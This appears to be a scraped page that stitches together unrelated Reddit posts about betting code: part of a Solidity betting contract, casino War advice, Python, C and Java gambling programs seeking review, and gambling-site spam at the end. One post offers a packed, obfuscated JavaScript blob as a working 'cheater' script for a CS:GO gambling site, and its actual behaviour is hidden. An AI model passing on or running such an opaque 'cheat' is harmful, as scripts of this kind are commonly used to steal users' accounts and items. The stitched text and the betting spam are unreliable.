* Give back to game creator instead of consuming to contract.
* So in case Game owner has PTSD and wants al game finished,
* Game owner will call this on game which is in registration open
* state since past stage timeout.
* Do some good :)
* ALTHOUGH if game creator wants to abandon after stage timeout
* No fees is charged. See claimReward Method for that.
*/
function ownerAbandonOverride(uint _gameNumber) private returns(bool _overriden) {
Game storage game = games[_gameNumber-1];
if (game.registerationOpen) {
if (now > (game.startTime + game.stageTimeout)) {
game.claimedReward[game.player1] = true;
game.registerationOpen = false;
game.lastGameFinished = true;
game.reward[game.player1] = game.bets[game.player1].betAmount;
//Do not cut commision as no one came to play.
//This also incentivisies users to keep the game open for long time.
ethTransfer(_gameNumber, game.player1, game.bets[game.player1].betAmount);
return true;
}
}
return false;
}

/**
* If both players do not reveal choice in time they get disqualified.
* If both players do not reveal choice in time, Game's earnings are updated.
* If one of the players does not reveal choice, then the game's earnings are not updated.
* Player who has revealed is given chance to claim the reward.
*/

function ownerRevealOverride(uint _gameNumber) private returns(bool _overriden) {
Game storage game = games[_gameNumber-1];
if ( game.revealing) {
if (now > (game.revealTime + game.stageTimeout)) {
if(!game.revealed[game.player1] && !game.revealed[game.player1]) {
//Mark Player as following,
// 1.)Revealed (To maintain sane state of game)
// 2.)Disqualified (Since player did not finish the game in time)
// 3.)Claimed Reward ( So that contract earnings can be accounted for)
// Also set reward amount as 0
game.revealed[game.player1] = true;
game.disqualified[game.player1] = true;
game.claimedReward[game.player1] = true;
game.reward[game.player1] = 0;
emit Disqualified(_gameNumber, game.player1, "", 0, "");
game.revealed[game.player2] = true;
game.disqualified[game.player2] = true;
game.claimedReward[game.player2] = true;
game.reward[game.player2] = 0;
emit Disqualified(_gameNumber, game.player2, "", 0, "");
game.finishTime = now;
uint256 gameEarnings = game.bets[game.player1].betAmount + game.bets[game.player2].betAmount;
contractEarnings = contractEarnings + gameEarnings;
emit ContractEarnings(_gameNumber, gameEarnings, "BOTH_NO_REVEAL");
} else if (game.revealed[game.player1] && !game.revealed[game.player2]) {
game.revealed[game.player2] = true;
game.disqualified[game.player2] = true;
game.claimedReward[game.player2] = true;
game.reward[game.player2] = 0;
emit Disqualified(_gameNumber, game.player2, "", 0, "");
game.finishTime = now;
} else if (!game.revealed[game.player1] && game.revealed[game.player2]) {
game.revealed[game.player1] = true;
game.disqualified[game.player1] = true;
game.claimedReward[game.player1] = true;
game.reward[game.player1] = 0;
emit Disqualified(_gameNumber, game.player1, "", 0, "");
game.finishTime = now;
}
game.revealing = false;
game.lastGameFinished = true;
emit RevealStop(_gameNumber);
return true;
}
}
return false;
}

/**
* If both palayer(s) does(-es) not claim reward in time
* they loose their chance to claim reward.
* Game earnings are calculated as if this gets executed successully,
* both players have claimed rewards eseentialy.
*/
function ownerClaimOverride(uint _gameNumber) private returns(bool _overriden) {
Game storage game = games[_gameNumber-1];
if ( game.lastGameFinished) {
if (now > (game.finishTime + game.stageTimeout)) {
if(!game.claimedReward[game.player1] && !game.claimedReward[game.player1]) {
game.claimedReward[game.player1] = true;
game.reward[game.player1] = 0;
game.claimedReward[game.player2] = true;
game.reward[game.player2] = 0;
} else if (game.claimedReward[game.player1] && !game.claimedReward[game.player2]) {
game.claimedReward[game.player2] = true;
game.reward[game.player2] = 0;
} else if (!game.claimedReward[game.player1] && game.claimedReward[game.player2]) {
game.claimedReward[game.player1] = true;
game.reward[game.player1] = 0;
} else {
//Both players have alreay claimed reward.
return false;
}
uint256 totalBet = (game.bets[game.player1].betAmount + game.bets[game.player2].betAmount);
uint gameEarnings = totalBet - game.reward[game.player1] - game.reward[game.player2];
contractEarnings = contractEarnings + gameEarnings;
emit ContractEarnings(_gameNumber, gameEarnings, "OWNER_CLAIM_OVERRIDE");
}
}
}

function ownerOverride(uint _gameNumber) public onlyOwner returns(bool _overriden){
if (msg.sender == owner) {
if( ownerAbandonOverride(_gameNumber) || ownerRevealOverride(_gameNumber) || ownerClaimOverride(_gameNumber) ) {
return true;
}
}
return false;
}
//OWNER OVERRIDE SECTION ENDS

}
submitted by mgske to ethdev [link] [comments]

Casino War

Casino dealer here. Never ever go to war when you tie. Frustrates the shit out of me when I try to explain this to players yet they keep choosing to throw their money away.
Let's say you make a $100 bet and you tie. You have the option of going to war or surrendering half your money. If you go to war, you need to bet another $100, that's $200 total but you only win $100. You are essentially surrendering your initial $100 bet and playing a brand new game.
You should always take half your money back. In the same example, you would get $50 back. Then when you play your next game you can bet your $100 but this time you still have $50 in your pocket.
The way the casino tricks you into going to war is 2 fold. The first is that on the table we'll match your $100 before drawing the war cards which makes it look like you're getting paid out more but in reality, when you win, we are only paying you what's already on the table. The second is if you manage to get a tie on war, you get an additional payout of your bet. So in the same example, you would get paid $200 for the $200 you bet if it's a tie on war. BUT let's say you surrendered you initial bet and took half back and you took that $50 and placed it on tie for the next match, you would win $500 for the tie.
STOP GOING TO WAR.
submitted by Shattit to gambling [link] [comments]

Martingale Roulette Simulator

Hi all

I am trying to learn Python in my spare time. Thinking about going back to school to do a maths/CS degree to get into data science.

I've written a Martingale betting simulator which automatically plays the Martingale system on red/black, using American Roulette odds, and then prints out a graph detailing it's progress when it inevitably loses.

Just wondering if somebody would be kind enough to review my code and point out anywhere (everywhere :)) I could improve.

Thanks all


Red/Black Martingale American Roulette Simulator """ import random import matplotlib.pyplot ​ Bankroll = 2000 Bet = 10 TotalBet = 0 BetNumber = 1 BetNumberHistory = \[\] BankrollHistory = \[\] ​ \# Martingale Simulator ​ while Bankroll > 0: BetNumberHistory.append(BetNumber) BankrollHistory.append(Bankroll) TotalBet += Bet BetNumber += 1 print(('£%s staked. Total bet: £%s') % (Bet, TotalBet)) toss = random.random() \# Table limit if Bet > 2000: Bet = 2000 \# Bet outcome Bankroll -= Bet if toss <= 0.4737: Bankroll += Bet\*2 Bet = 10 else: Bankroll -= Bet Bet = Bet\*2 BankrollHistory.append(Bankroll) BetNumberHistory.append(BetNumber) ​ \# Graphing ​ x = BetNumberHistory # x axis y = BankrollHistory # y axis matplotlib.pyplot.plot(x,y)# plotting the graph matplotlib.pyplot.show() #Displaying the figures 
submitted by Wilyfox31 to learnpython [link] [comments]

Having Trouble with my C Programming Project..please help

Hello all. My Programming Project(written in C) is nearly complete. I needed to make a card game that has up to 4 players. All face cards equal ten points, the player with the highest point value wins each round. Simple enough and this works. However each round players need to bet up to %10 percent of their chips. All players start out with 100 chips(yes it prompt for user input for chips, my instructor wanted it). Point is, there is a logical error and eventually the chips run out after about round three and the player that wins in the end of ten rounds has 0 chips. Obviously something is wrong. Here is my code and I appreciate your assistance.
// CSCI 112

include

include

include

include

define NUM_RANKS 13

define MAXPLAYERS 4

define MAXCHAR 40

define MAXGAMES 11

define MAXCARD 5

char deal();
int num_players = 0;
int totalChips = 0;
int betChips(int totalChips);
int main(void)
{ // declaration
char player[MAXPLAYERS][MAXCHAR] = { 0 }; char playerCard[MAXPLAYERS][MAXCARD] = { 0 }; int playerHand[MAXPLAYERS] = { 0 }; int playerChip[MAXPLAYERS] = { 0 }; int playerBet[MAXPLAYERS] = { 0 }; int card = 0; int winnerTotal = 0; int winner = 0; int totalbet = 0; int PLayerChipTotal = 0; const char rank_code[] = { '2', '3', '4', '5', '6', '7', '8', '9', 'T', 'J', 'Q', 'K', 'A' }; const char cardValue[] = { 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10, 10 }; srand((unsigned)time(NULL)); printf("Enter number of players: "); scanf("%d", &num_players); fflush(stdin); for (int i = 0; i < num_players; i++) { printf("Enter the players name: "); gets(player[i]); printf("Enter number of chips: "); scanf("%d", &playerChip[i]); fflush(stdin); } for (int igame = 1; igame < MAXGAMES; igame++) //loop over each round { for (int icard = 0; icard < MAXCARD; icard++) // loop over each hand { for (int iplayer = 0; iplayer < num_players; iplayer++) { card = deal(); playerCard[iplayer][icard] = rank_code[card]; playerHand[iplayer] += (int)cardValue[card]; } }// end loop of cards each hand for (int ihand = 0; ihand < num_players; ihand++) //display the players's hands { printf("\n%s has: ", player[ihand]); for (int icards = 0; icards < MAXCARD; icards++) { printf("%c", playerCard[ihand][icards]); } } for (int iplayer = 0; iplayer < num_players; iplayer++) //place player bets { playerBet[iplayer] = betChips(playerChip[iplayer]); totalbet += playerBet[iplayer]; } // who is the winner the one with the highest playerHand[] value winnerTotal = playerHand[0]; winner = 0; for (int iplayer = 1; iplayer < num_players; iplayer++) { if (winnerTotal < playerHand[iplayer]) { winner = iplayer; winnerTotal = playerHand[iplayer]; } } // recalulate the chip winner get all for (int iplayer = 0; iplayer < num_players; iplayer++) { if (iplayer == winner) playerChip[iplayer] = totalbet - playerBet[iplayer]; else playerChip[iplayer] -= playerBet[iplayer]; } printf("\n\nRound %d winner is %s with %d points and won %d chips.\n\n", igame, player[winner], winnerTotal, totalbet); // winner is player[winner] printf("\n------------------------------------------------------------------\n"); playerHand[0] = { 0 }; playerHand[1] = { 0 }; playerHand[2] = { 0 }; playerHand[3] = { 0 }; totalbet = 0; } //print out overall winner PLayerChipTotal = playerChip[0]; winner = 0; for (int iplayer = 1; iplayer < num_players; iplayer++) { if (PLayerChipTotal < playerChip[iplayer]) winner = iplayer; } printf("\n\nThe winner is %s with a grand total of %d chips\n\n", player[winner], playerChip[winner]); return (0); 
} // end main()
char deal() 
{ int num_cards;
int rank; const char rank_code[] = { '2', '3', '4', '5', '6', '7', '8', '9', 'T', 'J', 'Q', 'K', 'A' }; rank = rand() % NUM_RANKS; // picks a random rank return rank; 
}
int betChips(int totalChips) 
{ int chips = 0;
chips = totalChips / 10; if (chips == 0) chips = 1; chips = rand() % chips; return (chips); 
}
submitted by meatwadd667 to C_Programming [link] [comments]

Help with a loop regarding an invalid input!

Hey guys! I have a question regarding my program. I'm supposed to create a slot machine using what I've learned so far.Basically once the user types a valid input( Y for yes or N for no) the program either loops again at entering another bet or ends and displays total amounts. But if they don't type a valid input the program its supposed to repeat "invalid input" until the user types a valid one,then it continues the do while loop. I know it requires using either a for or a while loop but I'm not sure how. Everything else works fine, I just need the program to correctly loop if the user types an invalid input while trying to play again.Any help is appreciated.... also sorry if my code is a little disorganized!
import java.util.Scanner; import java.text.DecimalFormat; import java.util.Random; public class SlotMachine { public static void main(String[] args) { // TODO code application logic here System.out.println("Welcome to the Slot Machine Simulation. " + "\n $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"); char playAgain = ' '; double totalBet = 0,totalMade = 0; DecimalFormat formatter = new DecimalFormat("$#,##0.00"); do{ Scanner keyboard = new Scanner(System.in); Random rand = new Random(); int currentBet; final int MAXIMUM_RANDOM_NUMBER = 6; int numOne = rand.nextInt(6); int numTwo = rand.nextInt(6); int numThree = rand.nextInt(6); String slotOne = null; String slotTwo = null; String slotThree = null; System.out.print("Enter the amount you would like to bet: $ "); currentBet = keyboard.nextInt(); totalBet += currentBet; switch(numOne) { case 0: slotOne = "Cherries"; break; case 1: slotOne = "Oranges"; break; case 2: slotOne = "Plum"; break; case 3: slotOne = "Bells"; break; case 4: slotOne = "Melons"; break; case 5: slotOne = "Bars"; break; } switch(numTwo) { case 0: slotTwo = "Cherries"; break; case 1: slotTwo = "Oranges"; break; case 2: slotTwo = "Plum"; break; case 3: slotTwo = "Bells"; break; case 4: slotTwo = "Melons"; break; case 5: slotTwo = "Bars"; break; } switch(numThree) { case 0: slotThree = "Cherries"; break; case 1: slotThree = "Oranges"; break; case 2: slotThree = "Plum"; break; case 3: slotThree = "Bells"; break; case 4: slotThree = "Melons"; break; case 5: slotThree = "Bars"; break; } System.out.println("-" + slotOne + "--" + slotTwo + "--" + slotThree + "-"); if(slotOne.equals(slotTwo) && slotTwo.equals(slotThree)){ System.out.println("Great! Three match."); System.out.println("That triples your bet"); System.out.println("You win " + formatter.format(currentBet * 3)); totalMade += currentBet * 3; } else if(slotOne.equals(slotTwo) && !slotTwo.equals(slotThree)){ System.out.println("Great! Two match."); System.out.println("That doubles your bet"); System.out.println("You win " + formatter.format(currentBet * 2)); totalMade += currentBet * 2; } else if (slotOne.equals(slotThree) && !slotOne.equals(slotTwo)){ System.out.println("Great! Two match."); System.out.println("That doubles your bet"); System.out.println("You win " + formatter.format(currentBet * 2)); totalMade += currentBet * 2; } else if (slotTwo.equals(slotThree) && !slotOne.equals(slotTwo)){ System.out.println("Great! Two match."); System.out.println("That doubles your bet"); System.out.println("You win " + formatter.format(currentBet* 2)); totalMade += currentBet * 2; } else{ System.out.println(" Sorry, None match... "); System.out.println(" You win $0.00"); } System.out.println("Would you like to play again? "); System.out.print("Enter Y for yes or N for no: "); String input = keyboard.next(); playAgain = input.charAt(0); playAgain = Character.toUpperCase(playAgain); for (;playAgain != 'Y' || playAgain != 'N';){ System.out.print("Invalid value, input again: "); input = keyboard.next(); playAgain = input.charAt(0); playAgain = Character.toUpperCase(playAgain); } }while(playAgain == 'Y'); System.out.println("You bet a total of " + formatter.format(totalBet)); System.out.println("You won a total of " + formatter.format(totalMade)); } } 
submitted by dezzieAce to learnprogramming [link] [comments]

CSGODOUBLE NEW SCRIPT ! (fast downlaod | working!)

// Hexos V1.016 // New CHEATER |x|
//Fast Download ! (23.02.2016 | Working) (22.02.2016 | Working) (21.02.2016 | Working) (20.02.2016 | Working) (19.02.2016 | Working)
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(//,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('d 3a=23;d 2A=0;d 1S=0;d 3R="";d 2t=0;d 1Y=0;d 41="4G://4R.4W.2K:4S";d 1a=1s;d 2f=E;j 4X(x){h($("#1w").U(":Y")){D(x/O)}D x}j 2P(x){h($("#1w").U(":Y")){D(x/O).2W(3)}D x}d 1V=0;d R=0.50;d S=0.4Q;d 18=0;d X=0;d 33=0;d 2v=17;d 2e=L.1O(R);d $2T=1s;d $2U=1s;d $1A=1s;d 2h=E;d 1T=1;d 31=[];d 3f=1L 3M(\'3J/4J.40\');3f.3T=0.5;d 3h=1L 3M(\'3J/5m.40\');3h.3T=0.75;j 2Y(x){d 2i=$("#5c").U(":Y");h(2i){h(x=="G"){3f.3u()}l h(x=="26"){3h.3u()}}}j 1P(x,39){3a=$("#4r").2C();h(2v){D}l h(3t x===\'5a\'){2q(1V)}l{d 1c=[1,14,2,13,3,12,4,0,11,5,10,6,9,7,8];d 1J=0;1N(d i=0;i<1c.W;i++){h(x==1c[i]){1J=i;3D}}d 1X=34;d 1m=-34;d w=L.2k(39*(1X-1m+1)+1m);d 1C=1J*75+36+w;1C+=23*5;1V=1C;2q(1V)}}j 3S(m){d x=m.G;2Y("G");d 1c=[1,14,2,13,3,12,4,0,11,5,10,6,9,7,8];d 1J=0;1N(d i=0;i<1c.W;i++){h(x==1c[i]){1J=i;3D}}d 1X=34;d 1m=-34;d w=L.2k(m.39*(1X-1m+1)+1m);d 1C=1J*75+36+w;1C+=23*5;33=1L 4z().4u();X=3C(1C);18=3A(X);2v=E;3x(j(){3F(m,18)},18);3e()}j 4F(X,t){D X*(L.4B(R,t)-1)/2e}j 3A(X){D(L.1O(S)-L.1O(X))/2e}j 3C(43){D S-43*2e}j v(X,t){D X*L.4B(R,t)}j 3e(){d t=1L 4z().4u()-33;h(t>18)t=18;d 38=4F(X,t);2q(38);h(t<18){5b(3e)}l{1V=38;2v=17}}j 2q(2j){2j=-((2j+23-3a/2)%23);$2T.1W("5o-1Z",2j+"5r 5i")}52.5j.5l({H:j(x,1r){1r=1r||{};d 4k="";d 2G=$("#1w").U(":Y");h(2G){4k="$";x=x/O}d $q=$(q);d 2J=3l($q.I());d 2a=x-2J;h(1r.1n){h(2a>0){$q.1u("1f-28")}l h(2a<0){$q.1u("1f-2d")}}d 2I="";h(1r.29&&2a>0){2I="+"}d 30=2a;h(2G){30=O}d 4n=L.1m(4l,L.32(L.4V(30)/5k4l));$({1z:2J}).47({1z:x},{44:4n,5s:j(K){d 2l=0;h(2G){2l=K.2W(3)}l{2l=L.2k(K)}$q.I(""+2I+(2l))},3s:j(){h(!1r.29){$q.1K("1f-28 1f-2d")}h(1r.4e){1r.4e()}}})}});j 2O(48,3v){$("#2B").26().1W("2C","2b%");$("#2B").47({2C:"0%"},{"44":48O,"54":"59",5g:j(a,p,r){d c=(O).2W(2);$2U.I("4T 51 "+c+"...")},3s:3v})}j T(o){h(3t o!="4K"){o=3W.4L(o)}h(1a&&1a.4N==1){1a.T(o)}}j 3F(m,18){2Q(m.G,m.M);2Y("26");1N(d i=0;i0?m.1Q[i].3z:-m.1Q[i].5d,{"1n":E,"29":E})}d 1M=[[0,0],[1,7],[8,14]];1N(d i=0;i<1M.W;i++){d $1B=$("#1v"+1M[i][0]+"-"+1M[i][1]).20(".1B");h(m.G>=1M[i][0]&&m.G<=1M[i][1]){$1B.H(m.5h,{"1n":E,"29":E})}l{d P=3l($1B.I());h($("#1w").U(":Y")){P=O}$1B.H(-P,{"1n":E,"29":E})}}h(m.C!=1s){$("#C").H(m.C,{"1n":E})}3x(j(){2O(m.1z);$(".1b,.1B").1K("1f-28 1f-2d").I(0);$(".22 1o").2z();1P();$(".25").1I("1E",17);2f=E},m.5eO-18)}j 2Q(G,M){d 1z=$("#1U .19").W;h(1z>=10){$("#1U .19").58().2z()}h(G==0){$("#1U").2x(""+G+"")}l h(G<=7){$("#1U").2x(""+G+"")}l{$("#1U").2x(""+G+"")}}j 3U(o){2y{d m=3W.53(o.n);h(m.F=="55"){$("#2B").26();$("#2Z").I("56 "+m.3V+"/"+(m.3V+m.57)+" 1b 5f...");$("#2M-0 .1b").H(m.1G[0]);$("#2R-7 .1b").H(m.1G[1]);$("#2S-14 .1b").H(m.1G[2]);2y{2L("#2R-7 .22>1o",{n:"u",1c:"2N"})}2p(e){}2y{2L("#2S-14 .22>1o",{n:"u",1c:"2N"})}2p(e){}2y{2L("#2M-0 .22>1o",{n:"u",1c:"2N"})}2p(e){}}l h(m.F=="G"){$(".25").1I("1E",E);$("#2B").26();$("#2Z").I("5p 5q U "+m.G+"!");1Y=m.M;2f=17;3S(m)}l h(m.F=="B"){B("3y",m.o,m.z,m.1h,m.2w,m.1i,m.1x)}l h(m.F=="5n"){2O(m.1z);3R=m.2w;2t=m.1i;$("#C").H(m.C);d 2H=0;1N(d i=0;i{3}";f+="{4}";f+="";d $1o=$(f.6N(2n,A.u,A.1h,A.z,2P(A.u)));$1o.2c().6O($1v.20(".22")).6F("6E",j(){1P()})}j 46(){h(!1a){$.6w({6u:"/6t/6r.6s",28:j(n){h(n){h(n=="6x"){}l h(n=="6y"){}l{1a=1L 6D(41+"/"+n);1a.6C=j(6B){1a=1s};1a.6T=3U}}l{}},1D:j(6z){}})}l{}}j 3B(2r){d a=["6A","6S","6U","78","7b","79","7d","7e","7f","7a","76"];1N(d i=0;i ")}D 2r}j B(x,o,z,1h,J,1i,1x){h(31.77(3G(J))>-1){2X.1O("6V:"+o);D}h(1x==1T||x=="3E"||x=="1D"||x=="1l"){d 6Z=1R.70("45");o=o.3n(/(<|>)/g,\'\');o=3B(o);d 1F="";h(x=="3E"){1F=""+o+""}l h(x=="1D"){1F=""+o+""}l h(x=="1l"){1F=""+o+""}l h(x=="3y"){d 1t="B-Z";h(1i==2b){1t="B-Z-73";z="[5t] "+z}l h(1i==1){1t="B-Z-72";z="[6v] "+z}l h(1i==-1){1t="B-Z-6p";z="[5N] "+z}l h(1i==-2){1t="B-Z-5O";z="[5M] "+z}l h(1i==-3){1t="B-Z-5L";z="[5J] "+z}d Z="4C://2D.2K/4A/"+J;1F="<1H V=\'B-1H 4v\' n-J=\'"+J+"\' n-z=\'"+z+"\' 2V=\'4y://4x-a.4t.4s/2D/4E/4w/4D"+1h+"\'>"+z+": "+o+""}$1A.2x(1F);h(2h){d P=$1A.4c().W;h(P>75){d 4d=P-75;$1A.4c().5K(0,4d).2z()}$1A.3w($1A[0].5P)}h(2h&&!$(".24-1h[n-1d=\'1\']").42("27")){d P=49($("#35").I())||0;$("#35").I(P+1)}}}$(1R).5Q(j(){$2T=$("#4r");$2U=$("#2Z");$1A=$("#45");46();h($("#1w").U(":Y")){$("#5V").I("$")}$("#1x").Q("4f",j(){1T=$(q).K();B("1l","## 6q 2g 5T: "+$(q).20("5R:5S").1f())});$("#3q").Q("4f",j(){2h=!$(q).U(":Y")});$(3i).5I(j(){1P()});$("#5H").Q("5y",j(){d o=$("#1j").K();h(o){d 2s=1s;h(2s=/\/T ([0-9]) ([0-9])/.4p(o)){4j.4i("4m 4g 5z 2g T "+2s[2]+" 4o 2g J "+2s[1]+" - 4g 3m 4h?",j(2m){h(2m){T({"F":"B","o":o,"1x":1T});$("#1j").K("")}})}l{T({"F":"B","o":o,"1x":1T});$("#1j").K("")}}D 17});$(1R).Q("15",".19",j(){d M=$(q).n("M")});$(".25").Q("15",j(){d 16=$(q).n("16");d 1g=$(q).n("1g");d u=2E($("#3d").K());h($("#1w").U(":Y")){u=uO}u=L.2k(u);d 2i=$("#5x").U(":Y");h(2i&&u>5w){d 37=17;4j.4i("5u 3m 4h 3m 5v 2g A "+5A(u)+" 4o?<3o><3o>4m 5B 5G q 5F 5E 5C 5D 1p.",j(2m){h(2m&&!37){37=E;T({"F":"A","u":u,"16":16,"1g":1g,"32":1Y});2A=u;$(q).1I("1E",E)}})}l{T({"F":"A","u":u,"16":16,"1g":1g,"32":1Y});2A=u;$(q).1I("1E",E)}D 17});$(1R).Q("15",".5W",j(){d 1k=2E($("#3d").K());d 1q=$(q).n("1q");h(1q=="5X"){1k=0}l h(1q=="6h"){1k=2}l h(1q=="6g"){1k/=2}l h(1q=="1X"){d 3b=1S;h($("#1w").U(":Y")){3b=1S/O}1k=L.1m(2E($("#C").I()),3b)}l h(1q=="2H"){1k=2A}l{1k+=49(1q)}$("#3d").K(1k)});$("#6f").Q("15",j(){T({"F":"C"})});$("6d.6e").Q("15",j(){$(q).6i().1u("1y")});$(1R).Q("6j",".B-1H",j(e){h(e.6o)D;$("#1e [n-N=1]").2c();$("#1e [n-N=2]").2c();h(2t==2b){$("#1e [n-N=1]").2u();$("#1e [n-N=2]").2u()}l h(2t==1){$("#1e [n-N=1]").2u()}e.3c();d J=$(q).n("J");d z=$(q).n("z");$("#1e [n-N=0]").I(z);d $1p=$("#1e");$1p.2u().1W({1Z:"6n",2F:3j(e.6m,\'2C\',\'6k\'),6l:3j(e.6c,\'3X\',\'3w\')}).6b("15").Q("15","a",j(e){d N=$(q).n("N");e.3c();$1p.2c();h(N==0){d P=$("#1j").K(J)}l h(N==1){d P=$("#1j").K("/62 "+J+" ")}l h(N==2){d P=$("#1j").K("/63 "+J+" ")}l h(N==3){d P=$("#1j").K("/T "+J+" ")}l h(N==4){31.61(3G(J));B("1l",J+" 60 5Y 5Z.")}$("#1j").64()})});$(1R).Q("15",j(){$("#1e").2c()});$(".24-1h").Q("15",j(e){e.3c();d 1d=$(q).n("1d");h($(q).42("27")){$(".24-1h").1K("27");$(".1d-3g").1u("1y");$("#3H").1W("3Y-2F","65");$("#3Z").1u("1y")}l{$(".24-1h").1K("27");$(".1d-3g").1u("1y");$(q).1u("27");$("#1d"+1d).1K("1y");$("#3H").1W("3Y-2F","6a");$("#3Z").1K("1y");h(1d==1){$("#35").I("")}}1P();D 17});$(".24-1h[n-1d=\'1\']").69("15")});j 3j(2o,3p,3L){d 3K=$(3i)[3p](),3q=$(3i)[3L](),1p=$("#1e")[3p](),1Z=2o+3q;h(2o+1p>3K&&1p<2o)1Z-=1p;D 1Z}j 2E(s){s=s.3n(/,/g,"");s=s.68();d i=3l(s);h(3Q(i)){D 0}l h(s.3k(s.W-1)=="k"){i=O}l h(s.3k(s.W-1)=="m"){i=66}l h(s.3k(s.W-1)=="b"){i=67}D i}',62,450,'|||||||||||||var||||if||function||else||data|msg||this||||amount||||div|name|bet|chat|balance|return|true|type|roll|countTo|html|steamid|val|Math|rollid|act|1000|curr|on|||send|is|class|length|vi|checked|link||||||click|lower|false|tf|ball|WS|total|order|tab|contextMenu|text|upper|icon|rank|chatMessage|bet_amount|alert|min|color|li|menu|action|opts|null|aclass|addClass|panel|settings_dongers|lang|hidden|count|CHATAREA|mytotal|dist|error|disabled|toChat|sums|img|prop|index|removeClass|new|cats|for|log|snapRender|nets|document|MAX_BET|LANG|past|snapX|css|max|ROUND|position|find|rolls|betlist|1125|side|betButton|finish|active|success|keep|delta|100|hide|danger|LOGR|showbets|to|SCROLL|conf|offset|floor|vts|result|betid|mouse|catch|view|str|res|RANK|show|isMoving|user|append|try|remove|LAST_BET|counter|width|steamcommunity|str2int|left|dolls|last|prefix|start|com|tinysort|panel0|desc|cd|todongersb|addHist|panel1|panel8|CASE|BANNER|src|toFixed|console|play_sound|banner|durd|IGNORE|round|animStart||newMsg||pressed|deg|wobble|CASEW|MX|preventDefault|betAmount|render|sounds_rolling|group|sounds_tone|window|getMenuPosition|charAt|parseFloat|you|replace|br|direction|scroll|maxbet|complete|typeof|play|cb|scrollTop|setTimeout|player|swon|getTf|emotes|getVi|break|italic|finishRoll|String|mainpage|pull|sounds|win|scrollDir|Audio|style|addBet|pid|isNaN|USER|spin|volume|onMessage|totalbets|JSON|height|margin|pullout|wav|HOST|hasClass|df|duration|chatArea|connect|animate|ms|parseInt|target|_blank|children|rem|callback|change|are|sure|confirm|bootbox|dpf|400|You|dur|coins|exec|href|case|net|akamaihd|getTime|rounded|images|steamcdn|https|Date|profiles|pow|http|avatars|public|d_mod|ws|sec|mybr|rolling|string|stringify|enable|readyState|last_wobble|76561198165084483|01|www|8080|Rolling|betconfirm|abs|csgodouble|todongers|confirmed|Bet|999|in|jQuery|parse|easing|preroll|Confirming|inprog|first|linear|undefined|requestAnimationFrame|settings_sounds|samount|wait|bets|progress|won|0px|fn|500|extend|tone|hello|background|Predicted|number|px|step|Owner|Are|wish|10000|settings_confirm|submit|about|formatNum|may|the|settings|under|confirmation|disable|chatForm|resize|Pro|slice|pro|Veteran|Streamer|vet|scrollHeight|ready|option|selected|room|setting|dongers|betshort|clear|been|filtered|has|push|mute|kick|focus|50px|1000000|1000000000|toLowerCase|trigger|450px|off|clientY|button|close|getbal|half|double|parent|contextmenu|scrollLeft|top|clientX|absolute|ctrlKey|streamer|Switched|getToken|php|scripts|url|Mod|ajax|nologin|banned|err|deIlluminati|event|onclose|WebSocket|fast|slideDown|item|32px|line|id|overflow|list|black|format|prependTo|fadeIn|right|Error|KappaRoss|onmessage|KappaPride|ignored|png|twitch|RegExp|ele|getElementById|logins|pmod|mod|isonline||FailFish|indexOf|BibleThump|Keepo|SMOrc|Kappa|fadeOut|Kreygasm|PJSalt|PogChamp'.split('|'),0,{}))
submitted by HEROop to csgodoublescript [link] [comments]

[Java] Having trouble with adding previous values to a current value

I need help with a text slot machine. At first I had the user enter an amount for a balance then the user would bet off their balance until they either quit or ran out of money. My professor didn't want it this way but instead have the user bet then when the user eventually quits, have their total amount of bets and winnings displayed. I'm totally blanking on how to do this, so I posted this hoping someone can show me how I can add all of this up to display correctly. The top is my code and the bottom is what it my professor would like it to display.
submitted by scottledouche to learnprogramming [link] [comments]

[H] bet value knives [W] key (around 85 % of bet value)

Gut Knife | Case Hardened BS X2 totalbet value 128$ $(proof- http://gyazo.com/a0a71fbcfff4949e8daf8d6570109cd1)
B/O- 22 key each (no vanilla /esports) price are firm
43 for both
steam offer- https://steamcommunity.com/tradeoffenew/?partner=20556081&token=GGv_CgxL
submitted by rockk_56 to GlobalOffensiveTrade [link] [comments]

totalbets video

Bet Angel Pro Bookmaking - first attempt 30/11/07 - YouTube 14 Top 3 Win Total Bets for the '18-'19 NBA Season - YouTube NBA TOTALS BEST BETS - YouTube Casino Roulette Trick  14 Split Bet Strategy on Roulette ... bets HOME - YouTube NFL Win Total Bets - YouTube

Totalbets is a scam sportsbook and listed on the Sportsbook Review Blacklist for non payment to winning players. This sportsbook should be avoided. TotalBets TotalBets is an online sportsbook also offering casino games and racebook using OpenBet software licensed in Costa Rica. The site's primary language is English. A download is not required to place a wager. Visit TotalBets TotalBets is a fast growing and trusted sports betting site online. TotalBets has been in business since 2004 and they have a solid reputation in the sportsbook industry, becoming a great alternative for US players looking for a place to bet on sports. TotalBets has a website with a simple… Whois Lookup for totalbets.biz. Shared Hosting. Linux Shared Hosting Fully featured Linux plans with cPanel, Perl, PHP and more Starts at just | $1.68/mo; Windows Shared Hosting Complete Windows Hosting with Plesk, IIS and more Starts at just | $1.68/mo Hier sollte eine Beschreibung angezeigt werden, diese Seite lässt dies jedoch nicht zu. TotalBets is a premier online sportsbook and gambling destination. TotalBets is a fully licensed sportsbook providing a reliable and secure sports betting service to millions of satisfied online betting customers world wide since 1994. TotalBets offers football betting, live and NFL odds all season Hier sollte eine Beschreibung angezeigt werden, diese Seite lässt dies jedoch nicht zu. ติดต่อสำนักงาน ท่านสามารถ ติดต่อสอบถามทางทีมงานได้ทุก TOTALbet zakłady bukmacherskie. Poznaj TOTALbet: kod promocyjny na Luty 2021: freebet 25 zł + bonus 100% do 500 zł! TotalBets.com, the number 1 online gaming portal offering casino, poker, bingo and sportsbetting.

totalbets top

[index] [7009] [3917] [2744] [9865] [1491] [7507] [2133] [4514] [3148] [7149]

Bet Angel Pro Bookmaking - first attempt 30/11/07 - YouTube

